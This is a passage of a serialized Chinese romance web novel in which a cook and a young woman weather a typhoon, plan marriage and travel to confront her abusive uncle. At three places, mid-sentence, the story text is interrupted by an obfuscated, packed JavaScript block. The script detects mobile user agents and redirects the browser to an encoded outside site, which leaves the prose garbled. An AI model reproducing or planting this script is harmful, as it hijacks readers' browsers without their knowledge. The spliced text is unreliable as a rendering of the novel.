刘昌咧着嘴角地受了二人的道谢，直言道：“咱们可提前说好了，我要真能帮上忙，等你们两个成亲了，我要坐主桌！” …… 刘昌刚从衙门回来听说出了事，饭都没顾得上吃就赶过来看苏月娘。 现下该说的事情也都说完了，刘昌也就离开了。 苏月娘和许东山目送刘昌走远了才回家里关上门，继续过自己的日子。 方才千恩万谢地和刘昌说了一顿，两人都有些口干。 苏月娘捏起一片五角形状的方果送到许东山嘴边，许东山稍一低头，将方果叼走了。 “刚刚尝了一片，这方果还挺甜的！”苏月娘又捏了一片自己吃。 几颗方果顺着五条突出的脊，削去五条口感生涩的外皮，去头去尾，切成厚片，形状别致好看，味道亦是不差。 菱角外圈是脆嫩的果皮，内圈是水润绵软的果肉，入口即是满口汁水。 未熟的方果或许会外皮苦涩内里无味，但刘昌送来的方果熟得恰到好处，果皮清脆但微酸，果肉清甜又入口即化，想来刘昌也是刻意挑着好的往这儿送。 “我家地里也有一棵方果树，每年这个时候，树上都会结一大串方果，我爹就会带着我去地里摘，一摘摘好几兜子……后来，这块地被我大伯卖给了别人……” 见物生情，苏月娘满心难过与失落。 自家地里的方果她是吃不上了，家也是回不去了。 “等天没那么热了，我去地里给你载两棵方果树！”许东山挠挠后脑勺，“等个三两年，你就能再吃上自家种的方果！” 苏月娘撩起眼皮子，看着许东山认真的神情，不禁靠在他怀里笑出声。 许东山茫然地抱着笑个不停的她。 良久之后，苏月娘抬起头，笑意盈盈问道：“你还真打算娶我啊？” 许东山不知她为何这样问，他皱着眉答道：“不娶你娶谁？” 苏月娘嘴角又往上扬了扬，低下头，继续靠在他怀里，低声呢喃： “好吧，那我就嫁你了……” 48. 台风天闲聊 天上日头热烈了许久，今年迟来的风台终还是赶在中秋之前到来了。 风台总是出现在夏秋两季，暴风从海上跌撞而来，不仅影响了海边渔民出海讨鱼，更会吹折淹死即将成熟的庄稼、毁坏百姓的屋舍。 风台过境，民不聊生。 …… 才刚过正午，天色就暗如黄昏，狂风将周遭的高树吹得哗啦乱响，巷口推着车去后山田里抢救庄稼的厝边们闹哄哄地接连跑过。 原要出门给黄阿三干活的许东山将随身携带的包袱又收了起来。 既然要刮风下雨，那今晚的寿宴便必须取消了。 “马上风台了，我去街上买点东西囤着，你在家里把门窗都关好，能收的东西收一收，我没回来不要开门。” 风台短则一两天，多则三四天，每每此时大街上总是空荡无人，家里有种田的人家尚有吃食可以度日，但只做生意不种地的人家便需要提前囤食应对不便。 “你记得给伯母和阿生带一份！”苏月娘忙回了厨房，将两个大菜篮子取出。 事不宜迟，许东山提着菜篮子出门了。 在许东山走过脚后，苏月娘将大门拴上，省得她在后屋做事时，大门被吹开，街上的枝叶吹进堂屋。 街上有忙着去镇尾救庄稼的农人，也有赶着将作物脱手出去的商贩。 许东山混进杂乱不堪的人堆里，凭借着自己的身高优势，一口气抢了不少菜。 被挤出人堆的商贩站在一旁一边算钱，一边收钱，嘴角险些没咧到耳根子去。 素菜有了，荤菜自然不能少。 早有先见之明的杀猪匠今日多备了一只猪，许东山这才能在一轮哄抢过后还能买上三斤有肥有瘦的猪肉和两根大骨。 许东山已经买得够多了，再买可就不道德了，在旁人羡慕的眼神下，许东山大步流星地走向糕点铺子。 比起被里三层外三层围着的菜肉摊子，糕点铺子门口就空旷许多。 愁得不停摇蒲扇的糕点铺头家见许东山停在店门口，忙起身招待： “许师傅买点什么？” “我常买的那几样各来两包！”许东山在心里算了一通后，将一堆铜板付了出去。 糕点铺头家麻利地装糕点，还笑着打趣道：“你虽然看着凶，但人还是挺不错的！你这样的人有媳妇也是应该的！” 苏旺闹了两回，镇上的人们也差不多清楚了苏月娘和许东山的关系。 许东山听这话虽然还是面无波澜的，但心里却是悄悄泛起了涟漪。 等糕点铺头家将糕点递上，许东山扬了下嘴角，甚是和颜悦色道：“多谢。” 糕点铺头家和许东山做了这么多次生意，还是头一回看许东山笑得如此春心荡漾。 等许东山走远了，糕点铺头家才缩回脖子，笑着摇摇头，“也是个傻大个！” —— 天公怜悯百姓不易，地里能救的庄稼救得差不多了，泼天骤雨才在一眨眼之间，忽然降了下来。 窗外风雨大作，厝内门窗紧闭，自成一处平静的天地。 雨势太大，没有封闭的后院边廊和后堂屋免不了被狂风暴雨侵袭，才从暗得看不清东西的前堂屋走到后屋的两人连忙各自小跑回屋。 苏月娘一回屋便往床上扑了去，方才忙着收拾院子里的东西，可费了她不少气力。 天地昏暗却雨声扰耳，叫人想睡睡不着。 苏月娘在床上翻覆数回，还是坐了起来，在屋里左右瞧。 终于，她还是翻出她好久都不用一回的针线与一件前两日不慎脱了线的衣衫离开了房间。 她径直走到了对门——许东山的房间。 许东山怕回屋之后苏月娘喊他他听不见，便将门留了条小缝。 这正好方便苏月娘推门而入。 “许大哥！” 正躺在床上假寐的许东山听见苏月娘喊他，连忙睁开眼睛微微起身，定睛一瞧，苏月娘站在门口，探了个脑袋进来。 许东山一翻身下了地，伸手将门开大了些，让苏月娘进来坐。 “怎么了？” 苏月娘拨开床边的被子坐下，举了举手头的衣衫和针线，笑道：“反正也没事干，正好缝一缝衣衫！许大哥这里亮，我过来这儿缝！” 亮？ 许东山忍不住笑了声。 苏月娘睡的那间屋子朝正南向，一年到头采光充足，即便是阴雨天，也比他这盖在屋檐下的屋子明亮。 苏月娘知道许东山看破了自己的心思，一时有些不好意思地低下了头。 “你坐床上缝吧，被子和枕头前两天才洗过。” 苏月娘麻利地蹬掉鞋子，提着裙摆，往许东山的床上一缩，靠在他的夏薄被上开始做事。 许东山这屋子陈列简单，连张椅子都没有，他左看右看，搓着腿侧的布料在屋里转来转去，终还是在床的另一侧坐下。 三十年前许东山的阿公让木匠做这张床时，可没打算让孙子用这张床用到娶妻，就按着一人睡的大小订制，后来许东山在外服役又家道中落，许东山这张小床就一直没换成两口子能睡的大床。 许东山一人躺在这床上尚算正好翻覆自如，可如今这床上坐着两个人……这床就显得有些逼仄。 苏月娘穿了半天线，没将线穿进针尾的洞里，索性将针递给了许东山，“你帮我穿吧。” 许东山接过针线，熟练地将线穿过洞后在尾端打了个结再递回给苏月娘。 苏月娘捏着针尾将针取了回来，开始在脱了线的衣衫上落针。 对衣平缝，落针起线，从许东山那儿看过去苏月娘缝线缝得有模有样的。 动作利落得和她平日里做事一般。 许东山挺直腰背坐了一会儿，难免劳累，他往苏月娘那儿凑了凑，看清她手下那歪歪扭扭的线条，他才知利落地落针，不一定能缝出笔直的线条。 “你看我做什么？”苏月娘被久盯着，有些心虚。 许东山朝她伸出手，“来吧，我帮你缝吧。” “我爹那样细致的人都不大会缝衣裳，你这个糙男人还会这个？”苏月娘半信半疑地将衣衫与针线交给了许东山。 “以前在战场上摸爬滚打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384642|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，破掉的衣裳都是我自己缝的，缝了几年，也缝出心得了。” 翻到正面看，缝合处歪斜崎岖，实在影响美观，许东山便费了点心思，将苏月娘缝的线用剪子一点一点拆掉。 出于对许东山的信任，苏月娘也就不一直近盯着他，她将许东山的枕头往下拉了拉，身子往后一仰，靠在许东山的枕头上，看着许东山神情认真的侧脸。 许东山好像当真是有点手艺在身上，有条不紊地缝衣之时，还抽空抬起头看向苏月娘，“你喜欢什么样的床？” “你问这个做什么？”苏月娘在这儿躺着没有半点不适。 虽说许东山成日泡在厨房里做事，身上多少会有些油烟味，但许东山的枕头被子却没有沾染半分难闻的味道，甚至还有些清香。 “咳……”说起这事儿，许东山有些不好意思，他回过头，“就……就我们要是成亲了，我想换张宽敞点的大床。” 苏月娘这才用眼睛丈量起这床的尺寸，睡一人自然是绰绰有余，但要是睡两个人怕是…… 这下好了，不止许东山，就连苏月娘也红了脸。 她麻溜地坐了起来，双腿盘在裙摆下，脑袋鹌鹑般地垂着，藏住了红得跟抹了红花米似的脸颊。 这八字一撇才撇了一半呢，就聊起成亲换床的事情到底不太合适，许东山便不再提这事儿了。 屋里安静了好一会儿，许东山用剪子剪去了衣衫背面留着的线头，将针线扎在自己衣裳上后，他拎起衣衫两边扬了扬。 “缝好了，你看看。” 苏月娘这才直起身子，慢吞吞地挪到许东山身边翻看衣衫的针脚。 不得不说，许东山缝补的手艺可比自己好多了。 苏月娘惊喜地抚摸着平整的针脚，一点不吝啬自己的夸赞。 “哇！我真是捡到打着灯笼都找不到的宝了！” 做饭好吃、衣裳还缝得漂亮的男人当真是不多。 许东山被这真诚的夸赞夸得耳热。 他的心好像被缱绻温柔的春风吹拂着，舒服得一阵一阵的。 其实，他也觉得苏月娘是打着灯笼都找不到的宝，将他一眼差不多望到头的人生变得光明而又精彩，日日都有新的期盼。 四目相对，情意浮动。 许东山情不自禁地道：“等风台过去，我去浮桥向你舅舅提亲……” 家里有个大房子，后山还有两块适合租赁出去的好地，再加上一些未曾被计算在内的首饰和他这半年来陆陆续续攒下的工钱……虽然不如从前富有，但娶个姑娘进门应当还算够格…… 苏月娘也不是个爱拖泥带水的人，半年来的相处足够她看懂许东山。 虽然他有时候不太精通一些来往之事，但为人体贴，眼里有活，堪称是宜家宜室之人。 “等我大伯那里的事情解决了，我们就把事情办了吧！” 许东山郑重地点了点头。 苏月娘还想与他再说些什么，他便已经下了地，鞋都没穿就急匆匆地往外跑去。 “许大哥，你去哪！” “我去准备提亲的东西！” 49. 炣鸡蛋 这一场风台来势汹汹，狂风不休，暴雨不停，无力的矮枝被雨水砸折了腰，干细的高树被疾风连根卷起，枝叶横飞，屋瓦欲碎，这一夜，无人能够睡个整觉。 许东山睡得断断续续的，一面忧虑自家屋厝是否会被风台毁坏，一面忧虑苏月娘一个人睡在对面是否会害怕。 胡思乱想了一整夜，终还是让他等到了一声庞然巨物倒地的巨响。 许东山听见了声响，上衣都没来得及扣便匆匆地下地，踩上鞋就跑出了房门。 苏月娘几乎同时与他一齐打开房门。 “声音好像是从厨房那边传来的！”苏月娘揪着前襟，满面担忧。 这段时日重做桌椅、招牌已经花了不少钱，若是厨房倒了，她这几个月挣的钱怕是都得赔光。 “你在这儿待着别动，我去厨房看看！” “把伞拿上！”苏月娘将支在后堂屋角落的伞递给许东山。 狂风卷着雨点向着四面八方砸去，许东山从那条短院廊进入前屋若是不撑伞，怕是会被斜大的雨弄湿衣裳。 许东山接了伞遮在身侧，快步下了院廊，朝着房巷跑去。 苏月娘忧心忡忡地直盯着厨房的方向，暗暗祈愿厨房那儿一切安好。 许东山摸着黑去到前屋，从佛龛下取出一个红烛台点上，再端着小烛台绕开桌椅进入厨房。 所幸，厨房看起来完好无损，甚至连水都没进一点，唯一看着唬人一些的，就是那被绳牢牢拴住的窗扇被风吹得乱晃。 许东山解开了拴在窗把上的绳，一把推开窗扇，快速地往院子里看了一眼。 院子里也是安然无恙的。 重新给窗扇拴上绳后，许东山抹了一把脸上的雨水，陷入沉思。 究竟是哪儿倒塌了？ 想了许久，许东山豁然开朗。 大概是二叔二婶家的房子倒了吧！ 为了看这鬼热闹，许东山也不顾外面的雨势，开了院门，搬来暂时堆在后院的旧桌垫脚，扒在新砌的院墙上一望—— 果真是老天开眼，惩戒歹人。 只见隔壁的厨房倒塌了一半，房瓦残垣之间依稀可见锅灶的形状，再偏头一看，甚至能清楚瞧见隔壁待客的堂屋！ 许东山看到了想看的，便利落地回了自家厨房，重新给院门落了锁。 等他回到后屋，苏月娘看他浑身湿漉漉的，嘴一瘪，差点当场哭出来。 许东山都湿成这样了……厨房怕是…… 怎知道许东山一跨上后堂屋，笑得嘴角都差点咧到耳根子去了。 “隔壁的厨房倒了！我站在院墙那边看，还能看到隔壁的堂屋！” 隔壁？隔壁！ 苏月娘顿时瞪大了眼睛，回过神之后，她当即大笑出声。 果然天公公允，必不会叫恶人太过逍遥！ —— 天亮之后，雨势慢慢变小了一些，厝外不再有令人心惊的风雨声。 这样又湿又闷的天气最不适宜赖床，苏月娘迷迷糊糊听见对面开门之后便跟着一起起了床。 许东山起床第一件事便是清扫后堂屋里的积水与枝叶，等到苏月娘出了房门，他才放下拖把，预备去煮点粥做早饭。 苏月娘夜半三更幸灾乐祸了好久，却也难免牵挂其他厝边家里是否受灾。 “许大哥，你先出去看看对门林阿婆家怎么样……她家就她一个人，也不知她怎么样了……” 林阿婆守寡好几十年了，唯一的女儿嫁到了东街去，怕是不能及时回来照顾独居的老母亲。 许东山应了声之后，便带上伞出门去了。 苏月娘的担忧不无道理，许东山敲开林阿婆家门时，就瞧见林阿婆家的地上都是积水。 仔细一问才知道林阿婆家的厨房夜里漏了水，积水一直蔓延到了堂屋。 想来林阿婆堆积在厨房里的柴多半遭了殃，许东山便邀请林阿婆去自家吃早饭。 林阿婆怕给许东山添麻烦，一直摆着手不肯去，后来还是苏月娘一直没等到许东山回来，撑着伞出来看情况，才将林阿婆劝到家里吃饭。 林阿婆过意不去，还特意回厨房抱了一捆昨天下地挖的菜带上。 …… 不做生意的情况下，稀饭自然是最便捷的吃食。 粥米已经下到锅里熬煮了好一阵了，等配菜做好，稀饭也就差不多能够出锅了。 苏月娘原是安排林阿婆在堂屋里坐着，但林阿婆闲不住，非挤进厨房里做事。 林阿婆带的是她自己种的英菜（1），这英菜正长到最合适的时阵，不会太老也不会过嫩，通体深绿，叶片笔挺，清炒食用最佳。 单炒一样英菜自然不行，苏月娘从橱子里取出五颗鸡蛋，全部敲入碗中。 一向节俭的林阿婆见之，不免咋舌，“鸡蛋这么金贵的东西，你真舍得一顿饭打这么多下去？” 苏月娘取一双筷子，快速搅打蛋液，“实不相瞒我家许大哥特别能吃，他吃一顿稀饭得配三四颗鸡蛋呢！” 虽说许东山知道苏月娘是为了让林阿婆心里没有负担而这么说，但听这话，他还是难免觉得后背一沉。 跟背上家里所有的锅一样，特别沉重。 林阿婆失笑，“阿山这么大块头，能吃也正常！” 苏月娘笑着应和了一声。 蛋液搅打均匀后，苏月娘另起一锅烧油，油温适宜后倒入所有蛋液，快速将鸡蛋炒熟，再用锅铲将完整的一大片炒鸡蛋切成碎。 苏月娘不喜爱没滋没味的稀饭，每回吃稀饭时，桌上至少会有一样汤水有滋味的配菜，今日这炒鸡蛋还会再炣一回，做成她最喜爱的炣鸡蛋。 炣，是闽南吃食里最常见的一种做法，即加酱油水炖煮食材，用简单的调味勾勒海鲜之类的食材自有的鲜甜。 但这样的做法并不局限于海鲜，炣鸡蛋、炣瘦肉都是闽南人尤为喜爱的配粥菜。 炣鸡蛋做法稍不同一些，加了酱油水过后，还需加上两大勺白糖，调成甜味较重的甜咸口。 …… 今日早饭总共做了三样菜。 清炒英菜、炣鸡蛋以及炣瘦肉。 虽然只是一些家常小菜，但看份量与用料，林阿婆还是能感受到两人是真心地想要招待自己。 尤其是大块头的许东山并没有一顿饭配三四颗鸡蛋。 林阿婆接受了两个晚辈的好意，敞开肚皮吃了一顿饱饭。 —— 恶劣的风台天持续了三日便过去了。 第四日清晨，阴了多日的天总算放晴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388152|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许东山与苏月娘着手洒扫家里积水堆污的地方。 对门林阿婆的女儿女婿也在当日早晨赶到了林阿婆家里，帮着林阿婆修葺房屋。 各家各户敲打洒扫，努力将生活恢复从前的模样。 许东山家里需要清理的地方不多，才两刻钟，一切就都收拾妥当了。 苏月娘心里惦记着看被风台毁坏的二福面线糊店，扫除一结束，她便缠着许东山想办法让她看看隔壁的惨状。 许东山看了眼院子里的桌子，毫不犹豫地走到苏月娘身边蹲下，让苏月娘坐上自己的肩头。 苏月娘坐稳之后，许东山轻松地站了起来，苏月娘扒在墙头，朝着隔壁院子张望。 比起前两日许东山描述的，眼前的“断壁残垣”好像又塌了一堵墙。 看过了这鬼热闹，苏月娘拍了拍许东山的脑袋，适宜他将自己放下来。 “隔壁好像又塌了一堵墙，我刚刚看见了一张床呢！” 此话一出，苏月娘扑在许东山怀里大声幸灾乐祸着，许东山亦是笑得胸膛里发出阵阵闷响。 两个人笑得太过投入，以至于忽略了外头的喊声。 直到刘昌走到院门边煞有其事地咳嗽了一声，两个人才火速地松开了彼此。 面颊绯红的苏月娘尴尬地笑了两声，“刘叔怎么忽然过来了？” 刘昌也不拐弯抹角了，“我想了几天，你要和你大伯彻底断绝，最主要的还是得想办法把你的户籍挪出来！” “就怕即使我舅舅帮着做了媒，我大伯那边也不肯认这门婚事……到时候我没有户籍，也不能和许大哥去官府过明路……” 刘昌背着手，随苏月娘许东山去堂屋喝茶，“我找我上头的大人打点一下你们那儿的县衙，让他们帮着将你的户籍迁出！官府亲自帮着办的事，你那个怂大伯绝对不敢有什么异议！” 苏月娘只是个无权无势的平头百姓，不认识什么当官的，之前自然是不敢想、也没有门路找关系去处理这件事情。 如今有刘昌帮着牵线搭桥，苏月娘喜不自胜。 见许东山和苏月娘又要起身道谢，刘昌赶忙压了压手，让两人坐下，“我只是牵个线而已，具体的还得你们自己去当面打点！” 能有机会去找一个衙门里的大人帮忙解决事情，苏月娘已是感激不已，“那这位大人喜欢什么……” “他这个人两袖清风的，没事就喜欢品茶，到时候你们两个去见人的时候带两斤好喝一点的茶叶，将情况一五一十与他说了，他定会怜悯你二人不易，帮忙解决这事儿的！” “见他一面不容易，你们两个就先把东西备好了，等我安排吧！” 刘昌帮着做了这么多，苏月娘与许东山主动提出要留刘昌吃午饭。 刘昌知道许东山手艺好，便痛快地应下了邀约。 正午时分，许东山与苏月娘亲手做了一桌子模样味道都好的佳肴宴请刘昌。 正当三人有说有笑地举起酒杯预祝苏月娘成功摆脱苏旺之时，隔壁忽然传来了一声熟悉的惊叫： “啊——我们家的房子怎么倒成这样了！” 刘昌听这声儿，眉头直皱，“谁啊？怎么这么聒噪！” 许东山倒还端得住，就是苏月娘一时没忍住，笑得泪花都出来了。 50. 回清河镇1 为了迁户籍的事情能够顺利进行，苏月娘早早地带上一大笔钱，去干货行找见多识广的吴头家参详应当买何种茶叶。 正好近段时间今年的新产的武夷大红袍经过精制并退了火，正是香味协调、汤感醇厚、岩韵明显的时候，想必极为适宜送人。（1） 托了吴家的关系，苏月娘花了二十多两银子做买茶钱又做打点钱的，才得了两斤品相较好的武夷大红袍。 等了十日，大红袍到手，刘昌那儿也安排好了苏月娘与他上头的人见面的时候。 平头百姓无缘无故地去知府衙门过于惹眼，于是见面的地点就安排在月娘面线糊店里。 毕竟对方是做官的，除了送茶，吃食上也不可过于简单。 于是许东山又发挥他的长处，花了一下午，做了一桌子宴席菜来。 傍晚，刘昌领着他那上司来到了月娘面线糊店。 来人约莫四十，皮肤黝黑却一身书卷气，着一身料子较好却制法简单的常服。 “月娘、阿山，这是咱们这儿的知府周大人！” 苏月娘和许东山心头一惊。 原以为刘昌带来的人最多也就是衙门六房之下户房中人，没想到带来的竟是朝廷四品知府！ 短暂震惊过后，苏月娘与许东山连忙对着周大人行礼问好。 这位周大人两个月前才从北方调任泉州做知府，因闽南话晦涩难懂，周大人至今没有学会闽南话。 “大人，他们两个在向您问好呢！”刘昌用官话与他说了一遍。 周大人白了刘昌一眼，“我看得出来！你让他们不要这么拘束，把我当他们店里的客人就好了。” 许东山与苏月娘皆不大懂得官话，周大人和刘昌说话时，两个人皆是一头雾水，等刘昌给他们解释了，他们才直起身子，邀请周大人先入座。 周大人是个风度翩翩的人，虽然走向座位时在打量着堂屋上下，但举止却不显得难看。 周大人本名周伯益，祖籍湘地，自科考入仕后便在各地辗转做事，据说他每到一地便会留下一本颇有厚度的游记，记录山川河流，也记录人间烟火。 看到那一桌子菜时，周大人眼睛都亮了。 一上来就求人办事实在是不礼貌，苏月娘与许东山便先与这位周大人介绍今日准备的菜。 苏月娘与许东山肚子里没有墨水，也形容不大会用文绉绉的话语形容那些菜肴到底有多好吃。 好在有能言善道的刘昌相助，一番妙语连珠后，周伯益食指大动，先行动了筷子。 尝豆豉蒸鳗鱼，舔舔唇。 啖红鲟蒸冬粉，咂咂嘴。 品茶树菇老鸭汤，点点头。 才尝过三道菜，周伯益便撂下了筷子。 见此，苏月娘许东山心里不免打起了鼓。 有人喜好清淡，有人喜好浓辣，这位周大人是土生土长的湘地人，湘地人多嗜辣菜，他能否吃得惯这一桌子闽南味道，两人心里没什么底。 刘昌问道：“周大人怎么了？是这些菜不合胃口吗？” 周伯益摇摇头，“这菜还挺不错的，你跟这两个年轻人说，他们的事情我帮了。” 刘昌笑着给周伯益倒上了酒，才同苏月娘与许东山道：“你们两个别紧张，周大人同意帮你们！” 两人喜出望外，连忙再次朝着周伯益行礼。 看懂两人意思的周伯益摆摆手，示意两个人坐下同吃。 慢慢的，苏月娘与许东山也看出了这位周大人是真的很喜欢许东山做的菜，毕竟他一口接一口不停地吃，吃到最后，他的肚子竟然鼓了起来。 周伯益话不多，也没有细问苏月娘的事情，吃饱之后，他讲究地掏出一块巾子擦擦嘴角。 “咱们准备走吧。” 刘昌转达了周伯益的意思。 苏月娘忙送上她花了大价钱才买来的茶叶。 “这是他们两个的一片心意，这武夷山大红袍，保管您会爱喝！” 没想到周伯益只是看了一眼那盒包装精美的茶叶，没有伸手去接。 “吃就算了，还连吃带拿的……我可没这个脸！”周伯益手一推，背着手走出了大门。 刘昌细品周伯益的话过后，哈哈大笑，“你们的诚意周大人已经收下了！接下来你们就安心等周大人的消息吧！” —— 有权有势的人做事就是利索，区区一桌子好菜，便换得周伯益去各县衙巡视时的一句嘱托。 八月二十五，许东山与苏月娘问镇上载货的老头租了一匹善跑的骡子，去浮桥招揽林家父子一起去清河镇解决苏旺的事情。 那一场强烈的风台过后，炎热了数月的泉州城冷却了下来，骡车驶过江边时，清早呼呼的江风从两侧袭来。。 苏月娘觉得有些冷，便趁着周边没人看着，往许东山的身上靠了靠。 身强体壮的青年人跟个大火炉似的，一靠上，发凉的身体便暖和了起来。 “很冷？” “有点！” 许东山放慢了速度，骡子逐渐停在了浮桥的栏杆边，许东山翻下了骡背。 “你坐到骡背前面，一会儿我坐你后面给你挡风。” 苏月娘肯定是不能和许东山太客气的，她扒着骡子后背的厚布块爬上骡背，坐在骡背靠前的位置。 许东山再次坐上骡背，便如一件厚重的暖和袄子一般，将苏月娘护得严严实实的。 苏月娘喜欢这感觉，她回过头，两眼发亮地看着不断调整坐姿的许东山。 “许大哥，这样也暖和！” 许东山轻轻点了点头，将她的脑袋转回去，在她看不见的地方，他的吻轻轻地落在她的头发上。 苏月娘坐在前面有些不适应，骡子继续前行时，她不安地抓着许东山的手腕，一个劲儿地往许东山身上贴，生怕骡子要是突然跑快了，自己会从骡背上翻下去。 虽然苏月娘的不安没有说出口，许东山却敏锐地察觉到了。 被握着的粗手腕忽然往上一翻，牢牢将绳子与苏月娘的小手扣在掌中。 “放轻松，我不会让你掉下去的。”许东山凑在苏月娘耳边低声道。 耳边灼热的气息叫苏月娘一时忘记害怕。 她相信许东山不会让自己摔下骡子的。 —— 当林富贵和林大松看到两个人以这样的姿势骑着骡子过来，一时间有些沉默。 林大松还用胳膊捅了捅笑得见牙不见眼的许春喜的胳膊，小声问道：“你不是说大哥性子闷，不会讨小姑娘开心吗？我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399185|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月娘这不挺开心的！” 许春喜也觉得稀奇，她走上前去，想帮忙扶苏月娘下骡子，许东山却先她一步，抱着苏月娘的腰，将她稳稳地带了下来。 “阿舅阿妗（2）！”苏月娘笑着同舅舅林富贵和舅母张氏问好。 “月娘阿山一路从凤池颠过来也累了，你们歇一会儿再走！”阿妗张氏笑呵呵地牵着苏月娘的手，带她回屋喝口水解渴。 林富贵跟在苏月娘身后进去了。 林大松和许春喜两口子连忙凑到许东山身边，絮絮叨叨问道： “大哥你和月娘是不是回去就打算办酒了？” “哪能办酒啊！都还没来提亲呢！大哥你什么时候过来向我爹娘提亲！” 妹妹妹夫叽叽喳喳的，问题极多，许东山听得头疼，随口应了两句就进屋喝水了。 …… 事不宜迟，许东山和苏月娘喝了水后，林富贵便招呼大家赶紧出发。 等许东山和苏月娘去到骡车边上，看到骡车后板上满满当当的蔗刀、斧头、木棍时，两人相视一笑。 “笑什么？一会儿要是打起来，这些东西可有大用处呢！”林富贵冷哼，“这次我可要让苏旺那个混蛋吃点苦头！我警告你们，谁拦着我，我打睡！” 张氏无奈极了，“你们别听他放狗屁，都看着点，别让他冲动闹出人命了！” “我哪儿冲动——” 林富贵话还没说完，苏月娘便推着他的后背催着他上骡。 “阿舅咱们快走吧！” 急着出发的林富贵一遭催促，立刻急哄哄地拉着儿子上了骡，鞭子一甩，骡子顿时拉着车扬长而去。 …… 清河镇离凤池上百里，但离浮桥却稍微近了一些，若是抄山路过去，还能再省半个时辰。 闽地除了靠海之外，还处处是山林，好在林富贵认路，不然其他三人指定得在处处相似的茂密山林之内迷了路。 翻过一山还有一山，骡子在起伏不平的山上疾跑，差点没让苏月娘将刚下肚的水呕出来。 正午，一行四人落到了平地上。 离家许久的苏月娘靠在许东山怀里借高眺望远处，只觉得此处像是在清河镇边上。 她耷拉着脸，看向仰头大口喝水的林富贵： “阿舅，快到了是吗？” 林富贵点了点头，“一直往前走一段，就到清河镇了。” 不知是因为苏旺的缘故，还是近乡情怯的缘故，苏月娘心里百感交集。 但一想到只要处理了不知何时会跳出来捣乱的苏旺，她的日子便能好过起来后，她便催着阿舅与许东山继续前行。 这并不是一个太富裕的地方，四人骑骡而来到底有些太过扎眼。 到了清河镇口，几个人高马大的男人拦下了四人的去路。 林富贵许东山警惕地勒骡。 毕竟不是自家地盘，一切还是要多加小心。 “几位来处理苏家的事情吗？我们大人吩咐过了，我们哥几个一定帮着将这件事情处理地漂漂亮亮的！” 一时间，几人心下了然，这当是县衙的人卖了个人情给他们。 有现成的人不用白不用，许东山当即下了马，与对方招呼了一番，给了点小钱作为报酬。 51. 回清河镇2 越发靠近苏家，认识苏月娘的人便越多。 三月的时候，苏月娘忽然人间蒸发了，苏旺带着自家子侄将清河镇翻了个底朝天。 大家都知道苏旺的为人，大多都在庆幸苏月娘跑得好。 “月娘离开这么久，怎么突然回来了？” “你是不是去投奔你舅舅了？可你大伯去浮桥可没找着你！” “你没听说吗？月娘去很远的地方做生意的，上回苏旺瘸了一条腿回来，就是去找月娘的麻烦了！” “月娘你边上这个后生家是谁？” …… 热情的厝边大婶们七嘴八舌地问了一通，苏月娘耐心地一一回应了。 当厝边们得知苏月娘这半年多来在外头没有受什么苦，还觅得了如意郎君，今日回来，是为了和苏旺一刀两断，迁走户籍，有热心的还主张着去找几个族里头有声望的老人家镇场。 一行人来得太过惹眼，这消息老早就传到了苏旺的耳朵里。 上回许东山那一镰刀削了他小腿的一块肉，过了这么久了，他每回梦见这事儿都会被吓醒。 所以，一得到苏月娘回来的消息，苏旺就跑回家，搜刮走了家里的银两，拉着儿子暂时躲了起来。 与许东山家、许二福家一样，苏月娘家与苏旺家也是盖在一起的。 眼力极好的许东山大老远的就看见挂在前头那大厝上的“苏记小吃铺”招牌。 “月娘，那是你家的店？” 苏月娘点点头，面上的笑有些勉强，“我爹走之前是……估计现在都被我大伯干倒闭了……” 许东山轻轻拍了拍苏月娘的肩头，“一会儿给你报仇！” 走在边上的林家父子二人骨子里都是冲动的，离苏旺家越近，两个人越着急。 离苏家还有数十米距离，父子俩便一个大跨步冲上前去，一人敲一边门。 “姓苏的！给我滚出来！” “再不出来踹门了！” 厝边被这巨大的声响吸引出来了。 “诶诶诶……别敲了……刚刚看那两个腌臜鬼往祖厝的方向跑了！” “月娘，祖厝在哪！” 苏月娘才抬起手大概指了个方向，急不可耐的父子二人便气冲冲地往那儿赶了去。 过来帮着镇场子的那几个人赶紧抬腿跟上去。 许东山朝前望了一眼，只见通往祖厝的小路狭窄，骡车怕是过不去，他将两匹骡子拴在一旁的树杈子上，随后从后板拾起林富贵带的若干武器。 他一副蓄势待发的模样。 “你在这里待着还是……” 苏月娘毫不犹豫地拉上许东山的胳膊，“许大哥，我跟你一起去！” 看许东山、阿舅以及表哥皆是一副恨不得将苏旺挫骨扬灰的愤慨模样，苏月娘当真是怕这三个人事情没办成，反倒把自己折腾到县衙去了。 …… 